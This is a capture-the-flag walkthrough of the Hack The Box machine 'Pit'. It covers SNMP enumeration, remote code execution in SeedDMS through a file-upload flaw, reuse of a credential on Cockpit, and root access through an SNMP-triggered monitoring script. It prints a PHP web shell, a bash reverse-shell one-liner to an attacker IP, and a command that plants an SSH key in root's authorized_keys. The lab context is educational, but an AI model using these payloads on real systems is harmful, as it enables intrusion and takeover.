As a medium difficulty box, Pit from Hack The Box has a well-designed enumeration flow. It starts by enumerating SNMP to reveal a username and a hidden web path to a CMS called SeedDMS, where I can login with that username. The CMS is vulnerable to a remote code execution, allowing me to obtain a database password that I can then use on a Cockpit instance. Enumerating the system from Cockpit’s terminal reveals that each time a “walk” is performed, SNMP will execute a script. This script basically searches for and executes other scripts in a specific directory to which I have write access, allowing me to create a malicious script in there to gain root access.

Skills Learned

  • SNMP enumeration and exploitation
  • SeedDMS exploitation
  • Cockpit exploitation

Tools

  • Nmap
  • snmpwalk
  • gobuster

Reconnaissance

Nmap

TCP

For TCP ports, nmap discovers 3 open ports: SSH on port 22, an NGINX web server on port 80, and a service that nmap identifies it as zeus-admin.

→ root@kali «pit» «10.10.14.49» 
$ nmap -p- --max-rate 1000 -sV --reason -oA nmap/10-tcp-allport-pit 10.10.10.241
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-20 11:03 EDT
Nmap scan report for 10.10.10.241
Host is up, received echo-reply ttl 63 (0.079s latency).
Not shown: 65532 filtered ports
Reason: 65332 no-responses and 200 admin-prohibiteds
PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http            syn-ack ttl 63 nginx 1.14.1
9090/tcp open  ssl/zeus-admin? syn-ack ttl 63
...[SNIP]...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 401.69 seconds
→ root@kali «pit» «10.10.14.49» 
$ nmap -p22,80,9090 --max-rate 1000 -sC -oA nmap/10-tcp-defaultsc-pit 10.10.10.241
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-20 11:12 EDT
Nmap scan report for 10.10.10.241
Host is up (0.16s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  zeus-admin
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time

Nmap done: 1 IP address (1 host up) scanned in 4.39 seconds

Also, nmap revealed a domain name dms-pit.htb from the SSL certificate on port 9090. I will add it to my /etc/hosts file

→ root@kali «pit» «10.10.14.49» 
$ echo '10.10.10.241 dms-pit.htb pit.htb' >> /etc/hosts

UDP

For UDP ports, nmap discovers an SNMP server on port 161 and reveals a domain name pit.htb.

→ root@kali «pit» «10.10.14.49» 
$ nmap -sU -sV -n --top-ports 20 -oA nmap/10-udp-top20-pit 10.10.10.241
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-20 11:18 EDT
Nmap scan report for 10.10.10.241
Host is up (0.074s latency).

PORT      STATE         SERVICE      VERSION
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    filtered      dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   filtered      netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open          snmp         SNMPv1 server; net-snmp SNMPv3 server (public)
162/udp   open|filtered snmptrap
445/udp   filtered      microsoft-ds
500/udp   open|filtered isakmp
514/udp   filtered      syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  filtered      upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
Service Info: Host: pit.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.21 seconds

Poking the websites

For HTTP, it seems only dms-pit.htb that serves different content.

→ root@kali «pit» «10.10.14.49» 
$ curl -s http://10.10.10.241/ | wc -c                                 
4057
→ root@kali «pit» «10.10.14.49» 
$ curl -s http://pit.htb/ | wc -c
4057
→ root@kali «pit» «10.10.14.49» 
$ curl -s http://dms-pit.htb/ | wc -c
169

For HTTPS on port 9090, it’s all the same site.

→ root@kali «pit» «10.10.14.49» 
$ curl -s -k https://10.10.10.241:9090/ | wc -c
43548
→ root@kali «pit» «10.10.14.49» 
$ curl -s -k https://pit.htb:9090/ | wc -c
43548
→ root@kali «pit» «10.10.14.49» 
$ curl -s -k https://dms-pit.htb:9090/ | wc -c
43548

Enumeration

TCP 80 - Website

On port 80, a NGINX default web page for REHL is shown here.

image-20210520224354684

Running gobuster against this site doesn’t really find something useful, and I couldn’t find a critical vulnerability on nginx 1.14.1.

TCP 80 - dms-pit.htb

Heading to dms-pit.htb on port 80 shows a 403 forbidden error message.

image-20210520224457026

For this site, gobuster actually found some files, but all of them returned with 403 status.

TCP 9090 - Website (HTTPS)

On port 9090, there is a login page.

image-20210520225003343

This page was identified as an instance of Cockpit, a web-based interface for system administration.

Searchsploit

There is a security issue on GitHub which talks about SSRF:

The researcher disclosed the issue in his blog.

The researcher also provides a PoC, but it requires an account, so I will move on to the next service.

UDP 161 - SNMP

From what nmap gave, I assume that this machine supports SNMPv1-SNMPv3. Based on what I read on HackTricks, to enumerate SNMP version 1/2c, I need to know the community string name, and there are two types of it: public and private.

The public community string normally grants read access, however private may grant you read/write access, even leading to remote code execution.

For SNMP version 1 and 2c, it is possible to identify a valid community string based on the server’s response with a dictionary attack (brute) . In Kali, there is a preinstalled tool for this, which I will use called onesixtyone. I will run it and save the output to a file.

→ root@kali «pit» «10.10.14.49»
$ onesixtyone -c /opt/SecLists/Discovery/SNMP/snmp.txt 10.10.10.241 > snmp-enum/brute-community-strings

The attack reveals that public is a valid community string.

→ root@kali «pit» «10.10.14.49»
$ cat snmp-enum/brute-community-strings
Scanning 1 hosts, 3220 communities
10.10.10.241 [public] Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
10.10.10.241 [public] Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64

Now to enumerate SNMP, I will use another preinstalled tool called snmpwalk. Using this tool will return a list of OID (Objects Identifiers) which consists a set of numbers separated by dot, so to translate these numbers into a bit meaningful, I will need snmp-mibs-downloader. I will install that with:

→ root@kali «pit» «10.10.14.49»
$ apt-get install snmp-mibs-downloader

The general usage for snmpwalk is:

$ snmpwalk [OPTIONS] AGENT [OID]

Actually, I did a lot of enumeration with SNMP, but because OID is a hierarchical structure, I found that it was easier to start from the Internet OID, which is 1.3.6.1, so that it would “walk” down to any readable OID branch, it is something like 1.3.6.1 -> 1.3.6.1.1 (directory OID) -> … -> 1.3.6.1.4 (private OID) -> … -> 1.3.6.1.X.X.

I will run snmpwalk on that and save the output to snmp-internet-1.3.6.1.out.

→ root@kali «pit» «10.10.14.49»
$ snmpwalk -v 2c -c public 10.10.10.241 internet > snmp-internet-1.3.6.1.out
  • -v 2c: SNMP version 2c. SNMP version 1 and 2c sends data in clear-text while version 3 uses auth.
  • -c public: community string
  • internet: auto translated to 1.3.6.1 by snmp-mibs-downloader

I will filter the output with hrSWRunParameters (Host Resources Software Run Parameters), which might leak some sensitive information from the command line arguments of the current running processes, but it doesn’t have any.

→ root@kali «pit» «10.10.14.49»
$ cat snmp-enum/snmp-internet-1.3.6.1.out | grep "hrSWRunParameters" | grep STRING
HOST-RESOURCES-MIB::hrSWRunParameters.1 = STRING: "--switched-root --system --deserialize 17"
HOST-RESOURCES-MIB::hrSWRunParameters.1000 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
HOST-RESOURCES-MIB::hrSWRunParameters.1001 = STRING: "--foreground"
HOST-RESOURCES-MIB::hrSWRunParameters.1002 = STRING: "--no-debug"
HOST-RESOURCES-MIB::hrSWRunParameters.1004 = STRING: "-s"
HOST-RESOURCES-MIB::hrSWRunParameters.1009 = STRING: "-i --logger=files"
HOST-RESOURCES-MIB::hrSWRunParameters.1011 = STRING: "-f --fill-watermark=0"
HOST-RESOURCES-MIB::hrSWRunParameters.1041 = STRING: "--domain implicit_files --uid 0 --gid 0 --logger=files"
HOST-RESOURCES-MIB::hrSWRunParameters.1051 = STRING: "--uid 0 --gid 0 --logger=files"
HOST-RESOURCES-MIB::hrSWRunParameters.1056 = STRING: "-s /usr/sbin/firewalld --nofork --nopid"
HOST-RESOURCES-MIB::hrSWRunParameters.1090 = STRING: "--no-daemon"
HOST-RESOURCES-MIB::hrSWRunParameters.1101 = STRING: "-D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128"
HOST-RESOURCES-MIB::hrSWRunParameters.1105 = STRING: "-Es /usr/sbin/tuned -l -P"
HOST-RESOURCES-MIB::hrSWRunParameters.1116 = STRING: "-n"
HOST-RESOURCES-MIB::hrSWRunParameters.1193 = STRING: "-o -p -- \\u --noclear tty1 linux"
HOST-RESOURCES-MIB::hrSWRunParameters.1208 = STRING: "--basedir=/usr"
HOST-RESOURCES-MIB::hrSWRunParameters.1479 = STRING: "-n"
HOST-RESOURCES-MIB::hrSWRunParameters.1481 = STRING: "-LS0-6d -f"
HOST-RESOURCES-MIB::hrSWRunParameters.10212 = STRING: "-Es /usr/share/setroubleshoot/SetroubleshootFixit.py"

If I examine the entire output carefully, the two most interesting information are:

  • A web path /var/www/html/seeddms51x/seeddms, and
  • A potential username: michelle
UCD-SNMP-MIB::dskPath.2 = STRING: /var/www/html/seeddms51x/seeddms
UCD-SNMP-MIB::dskDevice.1 = STRING: /dev/mapper/cl-root
UCD-SNMP-MIB::dskDevice.2 = STRING: /dev/mapper/cl-seeddms
...[SNIP]...
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
              total        used        free      shared  buff/cache   available
Mem:          3.8Gi       415Mi       3.0Gi        16Mi       452Mi       3.2Gi
Swap:         1.9Gi          0B       1.9Gi
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user

                Labeling   MLS/       MLS/                          
SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

guest_u         user       s0         s0                             guest_r
root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
user_u          user       s0         s0                             user_r
xguest_u        user       s0         s0                             xguest_r
login

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *
michelle             user_u               s0                   *
root                 unconfined_u         s0-s0:c0.c1023       *
System uptime
 14:03:52 up 12:03,  0 users,  load average: 0.04, 0.01, 0.00
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 31
NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING:               total        used        free      shared  buff/cache   available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: Mem:          3.8Gi       415Mi       3.0Gi        16Mi       452Mi       3.2Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: Swap:         1.9Gi          0B       1.9Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: System release info
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING:                 Labeling   MLS/       MLS/                          
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: guest_u         user       s0         s0                             guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: user_u          user       s0         s0                             user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: xguest_u        user       s0         s0                             xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: Login Name           SELinux User         MLS/MCS Range        Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: __default__          unconfined_u         s0-s0:c0.c1023       *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING: michelle             user_u               s0                   *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".29 = STRING: root                 unconfined_u         s0-s0:c0.c1023       *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".30 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = STRING:  14:03:52 up 12:03,  0 users,  load average: 0.04, 0.01, 0.00
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = No more variables left in this MIB View (It is past the end of the MIB tree)

I will also notice that some of the output lines starting with NET-SNMP-EXTEND-MIB are similar to the output from some Linux command utilities such as uptime and free -h.

SeedDMS (TCP 80)

From the enumeration above, a web directory was revealed at /var/www/html/seeddms51x/seeddms by snmpwalk. Since the directory path contains a “dms” string, I tried to append the path name to http://dms-pit.htb.

And then when I enter http://dms-pit.htb/seeddms51x/seeddms, it redirects me to a login page.

image-20210521014642036

A quick search for “SeedDMS” on Google pops this link. It states that SeedDMS is:

A free document management system with an easy to use web based user interface for small and medium sized enterprises. It is based on PHP and MySQL or sqlite3 and runs on Linux, MacOS and Windows. Many years of development has made it a mature, powerful and enterprise ready platform for sharing and storing documents.

Gobuster

This time gobuster reveals some accessible items.

→ root@kali «pit» «10.10.14.49»
$ gobuster dir -u http://dms-pit.htb/seeddms51x/seeddms/ -x txt,php -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster/dms-pit.htb-seeddms-M-80 -t 10 -b 403,404 -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dms-pit.htb/seeddms51x/seeddms/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2021/05/20 15:13:54 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 7359]
/CHANGELOG            (Status: 200) [Size: 101652]
/LICENSE              (Status: 200) [Size: 18321]
/TODO                 (Status: 200) [Size: 2844]
/Guests.php           (Status: 502) [Size: 173]
/GuideImages.php      (Status: 502) [Size: 173]
/HB.php               (Status: 502) [Size: 173]
/HDRS.php             (Status: 502) [Size: 173]
===============================================================
2021/05/20 15:22:45 Finished
===============================================================

Poking /CHANGELOG with curl reveals the software version.

→ root@kali «pit» «10.10.14.49» 
$ curl -s http://dms-pit.htb/seeddms51x/seeddms/CHANGELOG  | head 
--------------------------------------------------------------------------------
                     Changes in version 5.1.15
--------------------------------------------------------------------------------
- Improved import from file system
- HTTP Proxy for access on external extension repository can be set
- Do not use unzip in ExtensionMgr anymore
- fix version compare on info page
- allow one page mode on search page
- fix import of older extension versions from repository

Searchsploit

I feed the version to searchsploit, and it returns with some potential exploits. There is one for RCE.

→ root@kali «pit» «10.10.14.49»
$ searchsploit seeddms
--------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                             |  Path
--------------------------------------------------------------------------- ---------------------------------
SeedDMS 5.1.18 - Persistent Cross-Site Scripting                           | php/webapps/48324.txt
SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting                 | php/webapps/47024.txt
SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting                   | php/webapps/47023.txt
SeedDMS versions < 5.1.11 - Remote Command Execution                       | php/webapps/47022.txt
--------------------------------------------------------------------------- ---------------------------------

The exploitation steps for the RCE vulnerability is as follow:

Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

PHP Backdoor Code: 
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.

I will need a valid credentials for RCE.

Foothold

Shell as nginx

SeedDMS Dashboard

admin:admin are the default credentials for SeedDMS.

image-20210521014957029

But these creds didn’t work here, so I submit michelle:michelle, and it logs me in 😮 !

image-20210521023728548

SeedDMS CVE-2019-12744

With a valid account, I can try to reproduce the exploitation steps for remote code execution.

First, I will create a document by navigating to Docs > Users > Michelle (folders), and then under michelle folder I will add a new document.

image-20210521025006867

On the local file menu, I will browse and upload my PHP web shell.

image-20210521025924716

And the file gets uploaded.

image-20210521030038234

According to the exploit author, the uploaded web shell should be available at http://dms-pit.htb/seeddms51x/seeddms/data/1048576/63/1.php?f=id, where 63 is my document ID, but I couldn’t find it there.

→ root@kali «pit» «10.10.14.49»
$ curl -s 'http://dms-pit.htb/seeddms51x/seeddms/data/1048576/63/1.php?f=id'
File not found.

The web server somehow has a weird routing, so I downloaded the SeedDMS source code to figure out its folder structure, and it was on http://dms-pit.htb/seeddms51x/data/1048576/64/1.php?f=id!

image-20210521031346742

Reverse Shell

I will send a bash reverse shell to get a foothold on the box.

/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.49/53 0>&1"

On my listener:

→ root@kali «exploits» «10.10.14.49»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.10.241] 58888
bash: cannot set terminal process group (26319): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ id
id
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0

>> I just read and watched other writeups, and they were unable to get a foothold. Not sure why, but I did.

image-20210521034126889

Privilege Escalation

Shell as michelle

Enumeration

Searching for string “pass” under /var/www/html/seeddms51x/conf reveals the database credentials.

bash-4.4$ pwd
pwd
/var/www/html/seeddms51x/conf
bash-4.4$  grep -Ri "pass"
...[SNIP]...
settings.xml:    <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
...[SNIP]...

Under /var/www/html/seeddms51x/data/conf there is also another database credentials.

bash-4.4$ pwd
pwd
/var/www/html/seeddms51x/data/conf
bash-4.4$ grep -Ri pass
...[SNIP]...
settings.xml:    <database dbDriver="sqlite" dbHostname="localhost" dbDatabase="/home/www-data/seeddms51x/data/content.db" dbUser="seeddms" dbPass="seeddms" doNotCheckVersion="false">
...[SNIP]...

The password ied^ieY6xoquu is the one that valid, but I didn’t find anything juicy in the database.

bash-4.4$ mysql seeddms -u seeddms -pied^ieY6xoquu -e 'show databases;'
mysql seeddms -u seeddms -pied^ieY6xoquu -e 'show databases;'
Database
information_schema
seeddms

Cockpit (TCP 9090)

Using Michelle:ied^ieY6xoquu on the Cockpit login page at https://pit.htb:9090 logs me in.

image-20210521063658472

Cockpit gives terminal access through its web interface to interact with the system. I couldn’t get my reverse shell/SSH to work because of SELinux, so I will just use this terminal and grab the user flag.

image-20210521064953236

Shell as root

Enumeration

For the SNMP enumeration, I will remember /usr/bin/monitoring, which turned out to be a bash script.

[michelle@pit /]$ cat /usr/bin/monitor
#!/bin/bash

for script in /usr/local/monitoring/check*sh
do
    /bin/bash $script
done

The script takes and executes other scripts under /usr/local/monitoring/ which filename begins with check and ends with sh . If I try to list the content of that directory, it returns a permission denied error.

[michelle@pit /]$ ls -l /usr/local/monitoring/
ls: cannot open directory '/usr/local/monitoring/': Permission denied

But with -ld, it shows that the folder has extended permission, and user michelle is allowed to write a file under that directory.

[michelle@pit /]$ ls -ld /usr/local/monitoring/
drwxrwx---+ 2 root root 122 May 20 20:35 /usr/local/monitoring/
[michelle@pit /]$ getfacl /usr/local/monitoring/
getfacl: Removing leading '/' from absolute path names
# file: usr/local/monitoring/
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---

From SNMP to RCE

From the SNMP enumeration, each time an SNMP “walk” is performed, usr/bin/monitor will always pop up in the NET-SNMP-EXTEND-MIB section.

image-20210521075856288

Based on the output above, and the following documentation, there is a chance that when a SNMP walk is performed, the Net-SNMP agent will also execute /usr/bin/monitor.

image-20211013161852076

So, the strategy here is that I can try to write a script and save it under /usr/local/monitoring/. Then I will do a SNMP walk to trigger the Net-SNMP agent to execute /usr/bin/monitor which will then eventually execute the script I created.

Now I will write a script to /usr/local/monitoring/ that will inject my SSH public key to the root’s authorized_keys file.

[michelle@pit /]$ echo -e '#!/bin/bash\nmkdir -p /root/.ssh/ 2>/dev/null && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPmWTx2r3W2mHnCnKmoJCnkrj6mXxSIGq3E5ks1g+moK" > /root/.ssh/authorized_keys' > /usr/local/monitoring/check_iamf.sh

Then I will do another SNMP walk and wait for it to finish, or at least get to the NET-SNMP-EXTEND-MIB output line.

→ root@kali «pit» «10.10.14.49»
$ snmpwalk -v 2c -c public 10.10.10.241 internet

And now if I try to SSH login as root to Pit, it logs me in.

→ root@kali «pit» «10.10.14.49»
$ ssh root@10.10.10.241
Web console: https://pit.htb:9090/

Last login: Thu May 20 21:12:44 2021 from 10.10.14.49
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@pit ~]# ls -l
total 8
-rwx------. 1 root root 706 Apr 22  2020 cleanup.sh
drwx------. 2 root root 122 Apr 18  2020 monitoring
lrwxrwxrwx. 1 root root   9 May 10 11:07 null -> /dev/null
-r--------. 1 root root  33 May 20 02:00 root.txt
[root@pit ~]#

image-20210521081359037

Phew, I didn’t expect this writeup to be this long. 😅🔨

References